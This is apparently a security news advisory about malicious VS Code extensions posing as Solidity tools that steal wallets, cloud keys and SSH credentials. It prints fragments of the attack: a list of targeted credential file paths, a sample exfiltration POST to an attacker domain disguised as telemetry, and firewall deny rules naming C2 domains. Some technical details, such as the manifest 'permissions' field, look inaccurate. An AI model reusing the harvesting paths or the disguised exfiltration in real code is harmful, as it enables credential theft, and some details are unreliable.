Threat actors have deployed malicious Visual Studio Code extensions disguised as legitimate Solidity development tools to steal cryptocurrency wallets, API keys, and developer credentials. The “Solidity Pro” extension and related variants were available on the official VS Code Marketplace, targeting blockchain developers with trojanized functionality that exfiltrates sensitive data to attacker-controlled infrastructure. Organizations using VS Code for blockchain development should immediately audit installed extensions and rotate compromised credentials.
Introduction
The Visual Studio Code ecosystem has become the latest battleground in the ongoing war against software supply chain attacks. Security researchers have identified a sophisticated campaign involving malicious VS Code extensions specifically targeting blockchain and Web3 developers. These extensions, masquerading as productivity tools for Solidity smart contract development, contained hidden data exfiltration capabilities designed to steal cryptocurrency wallets, API keys, and authentication tokens.
The attack demonstrates an evolution in threat actor tactics, exploiting the trust developers place in official marketplace repositories. With over 50 million VS Code users worldwide and the extension marketplace hosting thousands of plugins, this incident highlights critical security gaps in the developer tooling ecosystem.
Background & Context
Visual Studio Code has emerged as the dominant code editor for modern software development, with its extensibility being a key feature driving adoption. The VS Code Marketplace operates similarly to mobile app stores, allowing developers to publish extensions after minimal vetting. This open ecosystem, while fostering innovation, creates opportunities for malicious actors.
Solidity, the primary programming language for Ethereum smart contracts, has a growing developer community handling billions of dollars in digital assets. This makes Solidity developers high-value targets for cybercriminals seeking access to cryptocurrency wallets and blockchain infrastructure credentials.
Previous supply chain attacks have targeted npm, PyPI, and other package repositories, but attacks specifically targeting IDE extensions represent a concerning expansion of attack surfaces. The malicious extensions in this campaign were designed with sufficient sophistication to avoid immediate detection, including legitimate functionality to appear authentic.
Technical Breakdown
The malicious extensions employed multiple layers of obfuscation and anti-analysis techniques to conceal their true purpose:
Initial Infection Vector
The extensions were published under names similar to legitimate development tools, using keywords optimized for Solidity developers searching the marketplace. Once installed, the extension requested permissions typical for development tools, avoiding suspicion:
{
"activationEvents": ["onLanguage:solidity", "workspaceContains:*/.sol"],
"permissions": ["workspace", "filesystem", "network"]
}Payload Execution
Upon activation, the malicious code executed in multiple stages:
Stage 1: Environment Reconnaissance
The extension enumerated the development environment, identifying:
- Installed cryptocurrency wallet browser extensions
- Configuration files containing API keys (
.env,config.json) - SSH keys and Git credentials
- Cloud provider authentication tokens (AWS, Azure, GCP)
Stage 2: Data Harvesting
The malware searched specific file paths and browser storage locations:
const targetPaths = [
'~/.aws/credentials',
'~/.ssh/id_rsa',
'~/.config/gcloud',
'%APPDATA%/MetaMask',
'%APPDATA%/Phantom',
'${workspaceFolder}/.env'
];Stage 3: Exfiltration
Stolen data was base64-encoded and transmitted to attacker-controlled domains via HTTPS POST requests disguised as telemetry:
POST /api/telemetry HTTP/1.1
Host: analytics-vscode[.]com
Content-Type: application/json
{
"userId": "[REDACTED]",
"eventData": "[BASE64_ENCODED_STOLEN_DATA]"
}
The malware implemented time-delayed execution and checked for analysis environments to evade sandbox detection.
Impact & Risk Assessment
The implications of this campaign are severe across multiple dimensions:
Financial Impact
- Direct theft of cryptocurrency from compromised wallets
- Unauthorized access to cloud infrastructure resulting in resource abuse
- Potential for ransomware deployment through stolen credentials
Data Exposure
- Compromise of API keys enabling access to production systems
- Exposure of proprietary smart contract code and business logic
- Leakage of customer data through accessed cloud resources
Supply Chain Risk
- Compromised developer credentials enabling further supply chain attacks
- Injection of backdoors into legitimate smart contracts
- Potential for downstream attacks against deployed blockchain applications
Organizations should assume that any system accessed by affected developers has been compromised. The CVSS base score for this type of supply chain attack would be estimated at 8.5 (High), given the broad scope of potential compromise and the privilege level of targeted victims.
Vendor Response
Microsoft, which maintains the VS Code Marketplace, has taken immediate action following disclosure:
- Removed identified malicious extensions from the marketplace
- Implemented enhanced vetting for new publisher accounts
- Deployed automated scanning for suspicious permission patterns
- Notified affected users who installed the malicious extensions
Microsoft released an official statement acknowledging the incident and recommending users review their installed extensions. The VS Code team has also implemented improved telemetry to detect similar threats in the future.
The company has not disclosed the exact number of installations but indicated “limited distribution” affecting primarily developers in the blockchain ecosystem. Third-party estimates suggest between 500-2,000 installations before removal.
Mitigations & Workarounds
Organizations and individual developers should implement the following immediate mitigations:
Immediate Actions
1. Identify and Remove Malicious Extensions
code --list-extensions | grep -i "solidity-pro"
code --uninstall-extension [EXTENSION_ID]2. Rotate All Credentials
- Change passwords for all development accounts
- Regenerate API keys and access tokens
- Create new SSH keys and update authorized systems
- Reset cryptocurrency wallet seed phrases if exposed
3. Audit File System Access
Review VS Code extension logs for unauthorized file access:
# Linux/macOS
cat ~/.config/Code/logs//exthost/exthost.log
# Windows
type %APPDATA%\Code\logs\\exthost\exthost.log
Network-Level Controls
Implement egress filtering to block suspicious telemetry domains:
# Add to firewall rules
DENY tcp any host analytics-vscode[.]com
DENY tcp any host telemetry-dev[.]onlineDetection & Monitoring
Organizations should deploy detection mechanisms to identify compromised systems:
Endpoint Detection
Monitor for suspicious VS Code extension behavior:
# Check for extensions with network activity
netstat -an | grep $(pgrep -f "Code Helper")Log Analysis
Search cloud provider logs for unauthorized access patterns:
- Unusual API calls from developer workstations
- Access from unexpected geographic locations
- Privilege escalation attempts using developer credentials
Indicators of Compromise
File Hashes (SHA256):
- Extension packages containing malicious code
- Check installed extension directories for suspicious files
Network Indicators:
- analytics-vscode[.]com
- telemetry-dev[.]online
- Various subdomains used for C2 communication
Best Practices
Implementing these security practices can prevent similar attacks:
Extension Security Hygiene
- Review permissions before installation – Extensions requesting filesystem and network access should be carefully evaluated
- Verify publisher identity – Install extensions only from verified publishers with established reputations
- Minimize installed extensions – Remove unused extensions to reduce attack surface
- Enable extension auto-update cautiously – Consider manual updates for security-sensitive environments
Development Environment Hardening
Secrets Management:
Never store credentials in plaintext configuration files. Use secure alternatives:
# Use environment variables from secure vaults
export AWS_ACCESS_KEY_ID=$(vault kv get -field=key aws/dev)Principle of Least Privilege:
Limit development environment access to only necessary resources. Implement time-bound credentials for cloud access.
Network Segmentation:
Isolate development environments from production systems with strict firewall rules.
Organizational Controls
- Implement approved extension whitelists for enterprise deployments
- Deploy endpoint detection and response (EDR) solutions on developer workstations
- Conduct regular security awareness training on supply chain risks
- Establish incident response procedures for compromised developer credentials
Key Takeaways
- Malicious VS Code extensions successfully targeted blockchain developers through the official marketplace, demonstrating supply chain vulnerabilities in developer tooling ecosystems
- The attack combined social engineering with technical sophistication, using legitimate-appearing functionality to mask data exfiltration capabilities
- Stolen credentials included cryptocurrency wallets, API keys, cloud provider tokens, and SSH keys, enabling diverse attack scenarios
- Immediate credential rotation and extension auditing are critical for potentially affected organizations
- Developer tooling security requires the same rigor as production systems, including permission reviews, vendor verification, and continuous monitoring
- The incident underscores the need for enhanced marketplace vetting and automated malware detection in code editor ecosystems
This attack serves as a stark reminder that developers themselves are valuable targets, with their privileged access to code repositories, infrastructure, and sensitive data making them force multipliers for sophisticated threat actors.
References
- Microsoft Visual Studio Code Marketplace Security Guidelines
- VS Code Extension API Documentation – Permissions Model
- MITRE ATT&CK Framework – Supply Chain Compromise (T1195)
- NIST Guidelines for Software Supply Chain Security
- GitHub Advisory Database – Malicious VS Code Extensions
- OWASP Top 10 CI/CD Security Risks
- Cryptocurrency Wallet Security Best Practices
- Cloud Security Alliance – DevSecOps Guidelines
Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/
